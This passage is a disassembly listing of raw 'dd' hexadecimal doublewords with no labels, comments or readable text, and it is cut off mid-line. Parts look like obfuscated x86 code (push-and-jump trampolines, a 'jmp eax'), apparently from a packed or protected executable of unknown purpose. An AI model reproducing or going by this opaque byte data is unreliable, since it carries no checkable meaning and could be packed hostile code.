0A368FB47h dd 0B06F92C5h, 51D8BF48h, 345E279Bh, 5956B649h, 51698A65h dd 0D093BC18h, 0B50E3C9Ah, 0FE163335h, 229E3305h, 49E26846h dd 93C1920Bh, 228547F0h, 759DD2A6h, 9D6A649Ah, 80AA245Ah dd 2A04EEF0h, 8AE00939h, 19CA284Fh, 6F92BE94h, 0CB05FA3h dd 776F430Ch, 178255B3h, 0F44984EFh, 0D1292A04h, 8FEF0AF5h dd 20AF3D37h, 2EDCE45Ah, 0CCEFh, 0EEE80500h, 2BA3C621h dd 6462995Ch, 0A21C589Bh, 0FCDA12D5h, 21F53A13h, 0E702CDC9h dd 0A4BF0886h, 78FB4442h, 363B8402h, 4B109D46h, 6A277BAEh dd 5A34B473h, 9AF40AEDh, 36B4362Dh, 0BCCB258h, 3FCC17F1h dd 54759D5Dh, 64FF08E4h, 378FEF06h, 0FE492515h, 0EAB7A09Eh dd 9759D5Ch, 7978725Bh, 0BB17396Eh, 7AC0268Ch, 0C4253E1Ch dd 5AA3DCAh, 124F8D59h, 45BB3C2Eh, 90D46F49h, 0DF1A0936h dd 0AC0725A1h, 374058CBh, 58E9D016h, 18DBA422h, 0FD46E4E2h dd 0B9EF1D79h, 675F985Bh, 0A8B900D8h, 688B7452h, 2896B412h dd 18144322h, 2FC070F3h, 362026DAh, 4DE76939h, 90A79E33h dd 0ACC31DEh, 0E9000000h, 0B9323593h, 44F32FDDh, 5F37B45Dh dd 0FAD42AADh, 116D8F50h, 8F0760FBh, 24A2DA9Dh, 413DBD06h dd 0FAD410ABh, 16708F50h, 8E0863F4h, 3B68199Ch, 89000034h dd 62682434h, 8900003Dh, 89572404h, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 241C895Ch, 8904EC83h, 4BBB241Ch, 890610E4h dd 0EC815BD8h, 4, 81242489h, 42404h, 685B0000h, 5863h dd 89243C89h, 87B89C7h, 241C8B5Fh, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0FF5C243Ch, 81582434h, 4C4h, 531BE900h, 0AA17FFFBh dd 0AEFD322Eh, 0B8AF0472h, 610EFA2h, 0E0FFC503h, 46AD115Dh dd 1B263D0Dh, 2B71C282h, 68CE047Bh, 7F2B65AFh, 7B1DD432h dd 3DC7BF4h, 7EC077E2h, 43C168F7h, 7D109B7h, 3156B34Dh dd 39B6FDFDh, 41D57F6Fh, 413E4A6Ch, 314BDF22h, 649FD689h dd 5423E5D1h, 4A8DBEB2h, 34972B24h, 6772D7F2h, 0F17E8D8Dh dd 66500610h, 5F858DBAh, 174D8D89h, 6A060Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 5873A2C3h dd 0FA8EC9E1h, 0E9FBA440h, 0Ch, 0AB34E372h, 11A0B9Ch, 0CCAD510Ch dd 11985C7h, 6F90060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0F2FBE9C3h, 0B30BA3BEh dd 985C7C8h, 60B10h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0D275C356h, 0DEBA0C54h dd 7BA00166h, 0EE9h, 0CC7BE900h, 0F2442EE4h, 9AD5C681h dd 0FF5AA0DAh, 0B1AA9B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 5EB68DD6h dd 9E9h, 1613B300h, 0C002BE43h, 95FFE82Eh, 60B0AC5h, 0F08B6656h dd 69BD895Eh, 6A060B07h, 0DD95FF00h, 8B060B32h, 24FEBC0h dd 0D4BD645h, 72BFB30h, 3A8B8D25h, 0FEE7FD95h, 0CF2DC435h dd 7F248539h, 503BC5B7h, 0BE598A54h, 0E6E775D8h, 355A26FEh dd 51458F78h, 0E692C404h, 853C12F3h, 8EC48009h, 0C4D0E24Fh dd 31D8BA5Eh, 8E6DFA2Dh, 41E22696h, 6917CADh, 13E8662Fh dd 95000000h, 0D354F759h, 830B53EFh, 5271075h, 14336D91h dd 32BAA5B4h, 58400934h, 81D38B66h, 6B71C0h, 91952300h dd 0BB060B07h, 60C32C67h, 0EE51C381h, 0D7819F3Ch, 1A5A4D55h dd 0B50130FFh, 60B0635h, 5870F5Eh, 66000000h, 4F4CE781h dd 46BAC681h, 0BA661B10h, 0F6811319h, 5AB43611h, 8AEE81FCh dd 0B1E5046h, 0B28B195h, 83308906h, 0BD8B01E8h, 60B001Dh dd 0E9484848h, 0Dh, 74762138h, 2138B877h, 0B8777476h, 850F4B38h dd 0FFFFFFA8h, 7D2DBF66h, 7D0079EBh, 218CEF9Eh, 0AFD60FE2h dd 0B2979FABh, 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h dd 94A9B6F3h, 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh dd 8B204A95h, 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h dd 0FD91A7h, 4ACC48D1h, 713C3359h, 0DB4D5200h, 0D65EF357h dd 0B79BB7h, 95ABAFF6h, 0F0009F89h, 0D7C77156h, 1800BEB3h dd 0C4D75671h, 2273E2ADh, 0E9554F4Dh, 1077h, 10F4ED68h dd 8C41E906h, 0C068FFFAh, 0E90610F5h, 0FFFA8C37h, 10F69068h dd 8C2DE906h, 0EB68FFFAh, 0E90610F7h, 0FFFA8C23h, 10F87068h dd 8C19E906h, 4268FFFAh, 0E90610F9h, 0FFFA8C0Fh, 10F9DD68h dd 8C05E906h, 0AB68FFFAh, 0E90610FAh, 0FFFA8BFBh, 10FB6A68h dd 8BF1E906h, 3068FFFAh, 0E90610FCh, 0FFFA8BE7h, 10FDB168h dd 8BDDE906h, 9D68FFFAh, 0E9061100h, 0FFFA8BD3h, 11019068h dd 8BC9E906h, 66B0FFFAh, 0C1BF46Fh, 0BAC9263Dh, 6BB35C87h dd 1A1E8F54h, 5299383Bh, 855E61BBh, 352E1368h, 62F1CCD8h dd 9E457085h, 1377FF6Dh, 94C584EEh, 0D5DEBF25h, 5F231E6Dh dd 0A9B3077Bh, 67234D32h, 7EA4D520h, 6B7A856Fh, 0D2ED37D0h dd 18362A6Eh, 220EE035h, 97F99A52h, 4DDF0478h, 87DFABC3h dd 6A50C394h, 89A79AE3h, 0EDC6735h, 9F831BE6h, 62D62CBDh dd 618982C2h, 1885573Ah, 764A3E03h, 35CFDED8h, 2C35A114h dd 5C3Dh, 0D6FDB00h, 0EC39E476h, 5409680Ah, 0C6011F9h dd 0C0AA44B8h, 9F1A0DACh, 0B41862BDh, 9CE914A6h, 69F9DDA1h dd 3A60E81Dh, 0F67EA892h, 3A60E896h, 0E70F9943h, 3A60E8E3h dd 59AF1E64h, 0E7E6C06Eh, 792DFE5Dh, 0C259C37Fh, 0A4133A24h dd 0B2292C35h, 0A2EB03D1h, 5A1FC97Eh, 0D5h, 0F8D5DEA2h dd 0BB5FA514h, 99007A94h, 0F4E874h, 8D714C59h, 136BCBDCh dd 64582Ch, 0C6024BD3h, 27D6C394h, 3A1EE2DDh, 0D9F4010Ch dd 0AD98ED1Ah, 0A0BBC1D9h, 169E28BAh, 0C394C472h, 310C18F5h dd 0FB15094Dh, 9FDA6E6Bh, 8C20B2BDh, 3A61B2F8h, 7EDD0B4Fh dd 0D027D604h, 20AC47E1h, 2296ADF5h, 207C40EEh, 375DD11Bh dd 88446C23h, 247DA8B2h, 0B751B519h, 8DB0C835h, 0D370E05Fh dd 563A1762h, 0AD5AC572h, 0FED2EF34h, 22769750h, 0A376D413h dd 858D8C6Ah, 0DD5C2h, 0E8E73300h, 0BE8B9A0Bh, 3948A5h dd 0D5EC32D3h, 0A49BE10Eh, 3AD118BFh, 0EB04DFE6h, 5BB4AF92h dd 4E1724Dh, 0EC1DC6F3h, 0E99CE87Ch, 0A413C584h, 0FBDADE3Ch dd 0DA7A8F78h, 589BFFC6h, 0AD0D6FB8h, 0B22F195Dh, 6FFDD189h dd 0E9E430DDh, 0C606B73Fh, 1367BD9Fh, 0FCCDDCC9h, 1676FE52h dd 0C33A6184h, 0D3CD4D1h, 242C368Ah, 0ADh, 0F8D5DEC0h dd 605FA514h, 1B0D549Ch, 5BACC394h, 611FC6Eh, 0E50347CBh dd 0A590E502h, 0B8C3D9D1h, 0FF3F3AB2h, 0CA304260h, 6A1E9620h dd 903A60CCh, 60CC681Ch, 3C9BFF3Ah, 0EF4F28C6h, 8CBD2D8Dh dd 0EFABD5CFh, 639C6C6Dh, 0DD315FAAh, 68EEE70Fh, 1B7F446Dh dd 0E1DC24D1h, 0B08F9572h, 6ACDC5B7h, 0B708FA8Ch, 0D02h dd 263D141Eh, 5083BEC9h, 8E5564B7h, 393A1961h, 6A89B4CCh dd 136984EBh, 0C1D6372Ch, 7E8667FCh, 26739C47h, 29C3C82Bh dd 84E8C185h, 1F746C5h, 78FBDADEh, 4F201ECh, 0EB1C63B8h dd 20CE2234h, 76EDD82Dh, 0F8D5DE8Eh, 6550A514h, 0CF0211FEh dd 4281927Bh, 941D5E2Ah dd 3E9D1C3h, 941D9FEBh, 362A10C3h, 93AEF924h, 0BA3DEB2Fh dd 0F983BDD5h, 5174F862h, 0D6BD9F05h, 0A7B8BECh, 3C34EAD6h dd 9D11DB60h, 0BFF450D8h, 49A1156Dh, 5D68BD33h, 0BFCB63E9h dd 303FCB62h, 0E004D6CAh, 3FCB62E4h, 2933176Bh, 2A9EABFCh dd 3EB638D6h, 41C6AD56h, 9A0BD129h, 1CAEBC89h, 0C51CFC88h dd 0E10F7335h, 0A19CE906h, 10200A6h, 0B017F38Ah, 0C32h dd 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h, 1AD9E43Ch dd 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h, 0D913F87Bh dd 84EB3155h, 51C7B6C5h, 14F8D5DEh, 0E1058814h, 0C3941DE5h dd 50241564h, 5BBF837Ch, 9BEF0791h, 6CC3941Dh, 0FE76F816h dd 0BD9F1EABh, 56DEA51h, 8550957h, 0DA1961DEh, 0F17B009Ch dd 6B03687Dh, 5785FD44h, 0B1080BE8h, 0BA548835h, 9BEE9E56h dd 0B13B307Dh, 9BFB8F27h, 764C307Dh, 35CFDED8h, 262A7714h dd 92ADFB2Ah, 1FE3DE2Bh, 44740D3Bh, 90000000h, 90E30D6Fh dd 59745B9h, 92BC8D98h, 9EE155C2h, 7EECD6BDh, 9C4E798Fh dd 640C303Fh, 43EDEF96h, 684C3EA0h, 43B23A60h, 63EA043Bh dd 6F66AE16h, 0E93FE80Bh, 97E10CDEh, 56F0D4B8h, 0B541DF2h dd 6FA70000h, 5AE4760Dh, 1D20A4C8h, 51A9C394h, 83AD9562h dd 844A48F3h, 0AAC24CBDh, 3A7B10DEh, 40BF6951h, 0F005F07Ah dd 82764B50h, 105034B8h, 0E3D73A7Bh, 5F48AB8Fh, 6165894Ah dd 0E63A7B10h, 0D4D4B89Ch, 5A9B3C8h, 446B47EBh, 1B6F8711h dd 0EC304A07h, 7C9B7896h, 6D7DB05h, 0CB117597h, 67FCC9DAh dd 0FC407D86h, 915BE0BCh, 41A1001Dh, 62EDD54Eh, 927E4D46h dd 0D7F255BDh, 3500000Ah, 9C09EAE1h, 4ABBB889h, 34D1023Fh dd 0E30CD7EEh, 6BDA699h, 0D9E43CDFh, 0A994ED1Ah, 7C4B5D4Ah dd 0C0FD06E7h, 0EA02EE13h, 0C584EA9Eh, 0A73AA211h, 0C3941D27h dd 6CFE8517h, 844A3EF8h, 0C8DCB1BDh, 0D13509FDh, 29899A0Bh dd 162B76DEh, 160A6EA2h, 0BD3143CDh, 3A7B13C9h, 43CA645Eh dd 24D11B36h, 0C246E0D1h, 0A349D2AAh, 70105E0Bh, 505D8244h dd 0DE2F444Eh, 47BB98B6h, 6E7BCA88h, 4639098Ch, 0A52h dd 0F66D64AEh, 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch dd 63B9549Bh, 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh dd 84E51175h, 0B12796C5h, 1B6DD5DEh, 0A6F1582Ch, 1A5B7ABh dd 0C3941D45h, 289CF0CAh, 0B5193441h, 72F6F78Dh, 0F4457483h dd 0E82C90A1h, 0D2DDC3Eh, 28043240h, 0E0000004h, 764B50BDh dd 1CA04E82h, 8471FB80h, 0CDB59D73h, 0D01781E7h, 1A3408FCh dd 102EDC50h, 0CCA1BD84h, 0C5398DB8h, 798A7BE1h, 2D76974Ch dd 0C484AC10h, 263A7B75h, 99634BB9h, 0B452621Bh, 5D8F94E8h dd 9E526CD3h, 7B4E62h, 1C70C4F5h, 23460E38h, 0C94470F0h dd 0FA08292h, 7071E3E7h, 0E11E6430h, 79974150h, 1DA7A09Ah dd 0E28C6DD9h, 980AF60h, 8A9C0000h, 3047A0B3h, 0E635D201h dd 879F08EBh, 364ABBB8h, 66DD40Fh, 0B1A29DE7h, 0E1724F54h dd 1EC5F004h, 4AA9A4F1h, 4703AB41h, 0C8C584E4h, 0D5DE8379h dd 50A514F8h, 2B619165h, 0CC7669Ah, 70E23240h, 0A000003h dd 941D27A7h, 88517C3h, 941DE0E4h, 3F1367C3h, 403CA32Dh dd 76889438h, 85C165F7h, 0AC394F3h, 0C64E1630h, 79BD84A4h dd 0D92ADB01h, 7A8F7EECh, 276B04Fh, 0D568B64Eh, 3A4FB83Bh dd 1963BB0Fh, 1154D802h, 5644701Eh, 0EEBE36Ch, 2A188C6Eh dd 8E555h, 0D8F70300h, 0AE9BEA1Bh, 704958B5h, 0C5FC02E3h dd 94ABF11Eh, 0AE1084Fh, 0FB14CFF6h, 0AB449FA2h, 14F1625Dh dd 0DC2D3603h, 0E4EC980Ch, 9463C584h, 0F8D5DE2Ch, 6550A514h dd 0E3D22891h, 0FF67AE1Fh, 0D62A9EA9h, 56500EF2h, 811B3B57h dd 0D5D8C04h, 0C4743240h, 90000002h, 941D27A7h, 88517C3h dd 941DE0E4h, 3F1367C3h, 7F0BA32Dh, 0F0C3941Dh, 925C8Ah dd 0C74B8695h, 30916583h, 50BD844Ah, 0EB3B99C6h, 12C0FB69h dd 7B4CB6D2h, 27C1393Ah, 0EEC0928h, 0A04831D8h, 1A6F9E4Ch dd 0F45865BAh, 46A7BC90h, 0AEBC003Dh, 0EC1A257Fh, 0DD22CCD0h dd 1F381CE0h, 0E0B1391Bh, 3923071Ah, 700054B5h, 66E1D944h dd 8C6DF04Ah, 17CE8181h, 75000008h, 0DCC92A21h, 8A7BF8C9h dd 7491427Fh, 23CC172Eh, 0C67DE6D9h, 19247C9Fh, 0E9D42DDAh dd 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h, 0C584E7DEh, 0DE7AE251h dd 0A514F8D5h, 48F76550h, 0F819AEB3h, 79D17F40h, 0E308859Fh dd 24F16096h, 9E0F2EABh, 2DFECDE6h, 6C40A456h, 2E405F7h dd 7CD3241h, 2B000000h, 1E6C8h, 21A75000h, 1DC3941Dh, 0E476E47Fh dd 941D0440h, 99B78BC3h, 0B33B45D7h, 0C3941DD7h, 6E29B958h dd 0F83781B3h, 0AADE5684h, 3DC39430h, 0E75B2BC5h, 78BD8467h dd 0D82DD802h, 0A81C2D78h, 2E37054h, 3870C4F1h, 990DDF64h dd 44702D68h, 28529DE5h, 0DB8C6DCDh, 758A86Fh, 62B40000h dd 81F886Bh, 0BECD3A39h, 6FB75083h, 1E628350h, 5E853C27h dd 995A65BFh, 0C92A176Ch, 66FDC8DCh, 92417C89h, 1F6B8369h dd 90C584E6h, 0D5DEBB21h, 50A514F8h, 1D6F1B93h, 0AAEEC394h dd 0F2D62CABh, 536EBD68h, 69E35DB5h, 0BECB6BBCh, 2781AF83h dd 193441A6h, 0F10F3EDAh, 103A3240h, 0C2000000h, 126C8h dd 93B72400h, 0CAA519FDh, 0BDC43AD4h, 0D8764B50h, 941D7B0Ch dd 122973C3h, 0F001BEC8h, 0D73FAC67h, 4FEC7896h, 20BD8467h dd 178610DAh, 0D413504h, 0B9196AE3h, 86B1C761h, 1195A2h dd 0F9AB82D3h, 64B15E85h, 0F785E569h, 9776FE6Ch, 1844708Ah dd 735762B7h, 6D6AF8F4h, 4C03078Ch, 692h, 0B6ADA4EEh, 0E0734E59h dd 1EC5F407h, 49AAA9F1h, 0FA79445Ch, 0A3F9145Bh, 51A6479Ch dd 0E16F76Ch, 0B6C32C37h, 0B9B3589Bh, 84E15135h, 0F167D6C5h dd 14F8D5DEh, 0F5C4D7C6h, 4FA1F25Bh, 1B026CAAh, 829B62ABh dd 93F7CBBFh, 6DFF712Fh, 94878DF9h, 513802C3h, 0C4DE0847h dd 0FAD720C9h, 467D8570h, 1CCDCFA8h, 2232418Bh, 2397AAF3h dd 7B841EFh, 44000000h, 4EC8h, 0D5DE5000h, 50A514F8h, 0B3B19165h dd 1DF98D21h, 8B23C394h, 0C3941DFFh, 438D0A70h, 941D5F2Bh dd 0F6EAD0C3h, 0A64F5E58h, 0BFA605Dh, 71485BF1h, 0E155498Dh dd 0FECBDCADh, 46609750h, 0FC000000h, 48110911h, 51636400h dd 0A4F746BAh, 0DE857B95h, 0C614F8D5h, 0A024F499h, 4B916052h dd 94ADA723h, 34D228C3h, 94AD21A0h, 3CC913C3h, 1D62C2D7h dd 4785C20h, 415944D6h, 0BA4A8E72h, 0C394ADCEh, 14CF7941h dd 4B50BDECh, 2075D876h, 3349A115h, 1D3256DEh, 4DB5C394h dd 0C06B8369h, 0D4BD844Ah, 58E7DA29h, 7555368Fh, 0C542ECE3h dd 75BE6FFDh, 9AD73A83h, 3428C6E9h, 98B5FE2Fh, 93A8F434h dd 0E90B2549h, 0A731446Bh, 4AAC7B0Fh, 58F6CC30h, 0A85587FBh dd 7410945Fh, 0FB304AACh, 57B0A387h, 6B837742h, 4CE00A11h dd 4E41AB51h, 3D041A8Bh, 4FE77549h, 2E47B13Bh, 0BB98B68Ch dd 540E8847h, 0C54D927Eh, 51102h, 2C1B6F00h, 0F2CFD637h dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh, 27C01322h dd 9770E3DEh, 40ADB681h, 30D91A37h, 0E0D0B438h, 0E857C584h dd 0ED5DE70h, 941DE2E6h, 391D65C3h, 881CAE3Ah, 0C3941DFCh dd 6CE10F73h, 0F35A2E1Bh, 1A41ABA6h, 48CF95E5h, 8189A7B3h dd 9FDC0D8h, 947851A0h, 1CE0DF25h, 0D5D0CA38h dd 26266662h, 9CF00369h, 3CE5E022h, 0FB05DEEBh, 32413B52h dd 6F7Fh, 0D6F9900h, 0D740E476h, 58BD9EE1h, 0B94AA0F7h dd 0BA2A03C8h, 0F3795DB1h, 18DBF202h, 7CF0028Ch, 3A608B08h dd 0DFABBB9Fh, 503A608Bh, 5A28BC6Ah, 0B83A608Bh, 8408374Dh dd 97AAF940h, 6D839479h, 1B509E5Ch, 8D564A5Ah, 0BDCF1460h dd 60E95D29h, 18E8D23Ah, 3A60E96Ch, 0B1BB9FE3h, 29AC9B0Ah dd 3BD55D86h, 42870D7h, 1EC0000h, 352BC5F8h, 0E4760D6Fh dd 63D7EA39h, 0C76F012Fh, 0BD9F1AC2h, 228B7F43h, 3010E4D1h dd 0E9B3EBFAh, 21648852h, 26446BE1h, 455707DCh, 10A22C3Eh dd 7DE8E89Ch, 0ED1B7F30h, 76EF2C19h, 75D9214Eh, 9B417C84h dd 0BC8D9C09h, 87CF4C8h, 9F2E4AF2h, 66EAE72Eh, 287FCE22h dd 0FE1BEF19h, 5A758372h, 327492F6h, 6CA1FBB3h, 4AF28CF8h dd 0A5C9032Eh, 2E4AF221h, 4785CA6h, 0F56B5ED6h, 86FC5041h dd 0D222D35Dh, 0F7ED990Dh, 18622447h, 0D27C5024h, 0AF132E7Bh dd 5298B5FEh, 0F4C3D5C0h, 4004CC00h, 0C72447F7h, 0C49255F3h dd 0B5D155B8h, 3A2447F7h, 0EC7EECC0h, 47F70C78h, 91BF8324h dd 0ABC34DDFh, 2447F7DFh, 9064595Eh, 51FFC3BCh, 4CF33885h dd 46EE0D5Ah, 0DB0E7E0Bh, 2F3795Dh, 0A4951F1h, 9A6E4286h dd 0A08088A6h, 225C3620h, 44F867F5h, 26A49034h, 7A8B2DDBh dd 8F36786h, 714214h, 0BDAA0000h, 80744550h, 0AE4CB34Ch dd 93EE7C68h, 0C8532975h, 0EE069022h, 0C394439Ah, 6BFB156Dh dd 0BD9F5BCAh, 61EB5FA3h, 0BCC26EB4h, 22DDA185h, 0A76BFF31h dd 3CEACE5Bh, 61D0D8A8h, 0E741593Ah, 0FB4FA39Eh, 43370E12h dd 0E29C2903h, 0A058554Fh, 2C36BD89h, 6E8408B7h, 0E2FD891Dh dd 8723A61h, 0F52696CFh, 3EBBCF67h, 360C3A61h, 0CD4118h dd 0DEAF0000h, 8372F8D5h, 91F55970h, 0D62A9377h, 61B21BEFh dd 0EC39E054h, 98012C0Ah, 48AC0A6Dh, 3D7A03ABh, 0A8FDC394h dd 5CA9469Dh, 0FF9D9D61h, 977EF664h, 5BD9F08h, 121773FBh dd 37983A61h, 2B6FD3EEh, 6F870837h, 0AF9A400Dh, 0B2B88281h dd 0B0043B43h, 6531B25Ch, 61DE0C17h, 7DD23BFAh, 81DEC1Ch dd 0DB75493Dh, 0BF6C9D11h, 99E1446Ch, 675EA253h, 0C00913FCh dd 739CD8ACh, 0E26BAF30h, 0F8DCA09Dh, 7F4D4B84h, 80828C6Ah dd 225CFh, 18374300h, 0EEDB2ADBh, 0B0899875h, 53C42A3h dd 0D4EB31DEh, 4AA1C80Fh, 3BD40F36h, 0EB04DFE2h, 54B1A29Dh dd 1CED7643h, 1D2C58CCh, 0D4A3C585h, 0FBDADE6Ch, 4F7A8F78h dd 162B709Dh, 6F997FF8h, 39E4760Dh, 0B933DDE0h, 9F058435h dd 2D91E9BDh, 15608D1Fh, 0F47C5024h, 3A60CB90h, 71052317h dd 3A60CB11h, 0ECA714C4h, 479CD0DCh, 28325C3h, 35EF5F8Eh dd 0EAFE5D2Ch, 501A288h, 0D713E600h, 0FD000000h, 14F8D5DEh dd 1E965FA5h, 0C3941D6Ah, 0DDA185FDh, 941B4C15h, 749AEFC3h dd 8B70186Ch, 5D86FA39h, 0E66A67B0h, 26A2CA54h, 0A93C6BD2h dd 95E7B751h, 21C85C8Eh, 0F34260E5h, 7CC0FD02h, 2911EE18h dd 9E106CCAh, 9547BB9Ah, 6D301311h, 74E6DC44h, 9F4D7089h dd 73107317h, 608EF430h, 3A051F8Eh, 89B4CC39h, 6AF3847Eh dd 0E45BAF8Ch, 132h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h dd 0E90A4951h, 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh dd 56A34C97h, 0D913F87Bh, 851C3155h, 51C7B6C5h, 0CFBB33BDh dd 2DC3941Dh, 941DCDB9h, 9F7842C3h, 78808DBBh, 1B669745h dd 0EC7E5226h, 941D0C78h, 91BF83C3h, 0C7E55AD6h, 9CD1CDA3h dd 0B465138h, 2A2770DDh, 50BDCBC9h, 4C807445h, 635EABA2h dd 0E8E52E9Fh, 0B6899302h, 87608EC2h, 1A3DD605h, 372D9D7Fh dd 7F982259h, 0BF581309h, 879FA63h, 0DDE10FD1h, 0EAE931BFh dd 0A3C064F6h, 2CBD8473h, 839904D6h, 5AF4C8BCh, 1CF207F6h dd 816C6D38h, 1F2A7DAFh, 1F7357ABh, 0E3DE2BC4h, 4799D71Fh dd 67BD8926h, 0E933E266h, 20F562D6h, 8F7F8422h, 8984A286h dd 0F1CCD47Ch, 0EFC3F208h, 268E9B74h, 3A1EE2DFh, 738B72C6h dd 0EF2C1D9h, 44A50DCAh, 39B9BA17h, 0CCC471C5h, 0F2CFD8C1h dd 3256DE68h, 0B565054Dh, 27C0A34Dh, 0C913E7D2h, 4D5337BFh dd 0EED46505h, 3E6F8651h, 0C563B624h, 115Eh, 0E884E600h dd 68DCEB3Dh, 311FEB14h, 34F19D6Dh, 0D4DE241Ah, 57A009FDh dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh dd 798871C5h, 0FA0DFC40h, 68CF7BCFh, 2E87h, 50241489h dd 405E089h, 83000000h, 48704E8h, 2C895C24h, 0E7895724h dd 4C781h, 0EF830000h, 243C8704h, 240C895Ch, 8904EC83h dd 6EBE2434h, 890610F3h, 8B545EF5h, 0C481240Ch, 4, 599868h dd 242C8900h, 8B08418Fh, 8950240Ch, 405E0h, 4050000h, 87000000h dd 0FF5C2404h, 815D2434h, 4C4h, 7BDDE900h, 2CD2FFFAh, 4A1CDDAFh dd 0B818D99Ah, 61102E7h, 0E0FFC503h, 651241FDh, 6CD8CBDBh dd 6C55BF55h, 1633140Ch, 33249845h, 37EA18F0h, 2CC0F5FCh dd 567A18B5h, 35BCE4DCh, 33EFB9F4h, 671571E4h, 6056B3D6h dd 19D6EF14h, 786EBC49h, 79A73E4Ah, 77E3D205h, 7BF5EEC6h dd 51FFDA11h, 2488B27Eh, 52B39A69h, 4AB6E430h, 4B610EC7h dd 2DF389A7h, 57494D83h, 17DE9h, 0FE5D6000h, 0C2016C4Fh dd 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh dd 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch dd 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h dd 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h dd 5CCD45C9h, 0E56CA191h, 10000ACh, 43h dup(0) dd 0D1F80000h, 0DA43736h, 66FD3C2h, 0F2E94B58h, 6800000Fh dd 6110710h, 0FB3DD8E9h, 7EA68FFh, 0CEE90611h, 68FFFB3Dh dd 6110969h, 0FB3DC4E9h, 0A2668FFh, 0BAE90611h, 68FFFB3Dh dd 6110B3Ah, 0FB3DB0E9h, 0C4968FFh, 0A6E90611h, 68FFFB3Dh dd 6110CD3h, 0FB3D9CE9h, 0D4868FFh, 92E90611h, 68FFFB3Dh dd 6110E64h, 0FB3D88E9h, 0F2368FFh, 7EE90611h, 68FFFB3Dh dd 6110FE6h, 0FB3D74E9h, 109068FFh, 6AE90611h, 68FFFB3Dh dd 6111167h, 0FB3D60E9h, 129B68FFh, 56E90611h, 68FFFB3Dh dd 611136Eh, 0FB3D4CE9h, 0A6205DFFh, 0E3DB1ED9h, 3C9AD114h dd 7A549053h, 0B4126A8Dh, 792DC2CBh, 3F3A8501h, 0FC77C0BEh dd 0B0B31C7Ah, 7EF35C3Ah, 6248D51Eh, 226F7BAEh, 5836B43Bh dd 0FBD329B2h, 7AC0260Ch, 58BFCB1Ch, 31AA4F8Ah, 0CD2DDFB7h dd 0E770FB11h, 816F9258h, 0C304804Bh, 8A25D2ACh, 0BC0DEF21h dd 4C82h, 637B9300h, 8D43A19Fh, 2586A9D9h, 0E407DC1Ah dd 528A5DEAh, 5F4F8B53h, 0E88E661h, 93125825h, 27837F6Fh dd 0D2915705h, 73888113h, 0B607D27Dh, 0AC6F9317h, 7D8724Ch dd 0B7FEDE9h, 5B3CE6D5h, 78E33685h, 2BBC0D33h, 0C1h, 5836B4CCh dd 92D129B2h, 6DCD7F57h, 5A9C57B1h, 4339D37Ch, 0FC6E6880h dd 2FA7C71Ch, 0B732DD3Dh, 0E0635D39h, 3FE30985h, 85FB7C10h dd 855EBE09h, 15E06F67h, 759D58D2h, 430C8AE0h, 0D42B4AA0h dd 8EEC1EFAh, 0B65432B5h, 0F1F5BD4Ah, 68042F09h, 6D4F8A6Dh dd 0D60822EDh, 6E21326Ch, 6D49845Ah, 5DD64E87h, 2783B9E2h dd 90EE0EC9h, 0D2ACCC27h, 5A74A410h, 8441EBE4h, 0D72h dd 804F47A4h, 3B840265h, 7AC5C138h, 0B4037BFFh, 0F25D39B1h dd 2840549Dh, 0E506E1AEh, 0A1DB1EE9h, 619F5A25h, 27519A65h dd 0AE636F3Ch, 0D205847Bh, 7A549651h, 4DF68D0h, 4B8CEAE4h dd 0BBAA5531h, 0FB4442B8h, 9F637B84h, 7436B6A1h, 0C73B4F8Ah dd 34398225h, 9D536F92h, 1770DB2Eh, 0B833BC0Eh, 0C4000000h dd 78569651h, 0F8D614CFh, 250E6C52h, 759D5D58h, 0F174837Fh dd 0C5231D79h, 45EEE802h, 759D5CB8h, 38D463DFh, 9D5934B7h dd 92EC0275h, 5D39B3B4h, 0FAD414AFh, 0E702F11Eh, 0B00E6A89h dd 6A4836D4h, 9D5834F9h, 50FF4375h, 40BE845Ah, 8A6DFB97h dd 0B502FE4Fh, 0A781697Dh, 845DF4BCh, 0D7310949h, 15E2DC1Ch dd 225B9AD2h, 940AC8A4h, 8BE45AD2h, 0C9824E1h, 215E0000h dd 0DC1FDAA5h, 9BD215E2h, 55915423h, 136B8E79h, 2EC3CCBBh dd 3B84027Ah, 78C7BF38h, 0B4037BFDh, 0F4433BB1h, 49D6017Fh dd 6E7BAE64h, 34B43C23h, 5C820FD8h, 0A991759Dh, 89E702CDh dd 0B45B420Dh, 7E5836h, 9D5D4AD7h, 75F66975h, 530FF319h dd 1957E8A4h, 5C67343Fh, 8C8C759Dh, 0FA7DF6D0h, 0AE0A84FBh dd 6678B2A1h, 89321CF6h, 0EC50B183h, 681DE96Fh, 4EA804E0h dd 8AFF2DE5h, 228104Fh, 930020A9h, 47B24A6Fh, 0EAE404DFh dd 4BE9525Dh, 74BABC0Dh, 42000000h, 0B2EF364h, 0FA7C6F93h dd 75827E9Ch, 9F637B0Eh, 7056B6A1h, 655B4F8Ah, 924F2DF2h dd 1AF64A6Fh, 0C6C03B3Ch, 8BDC9739h, 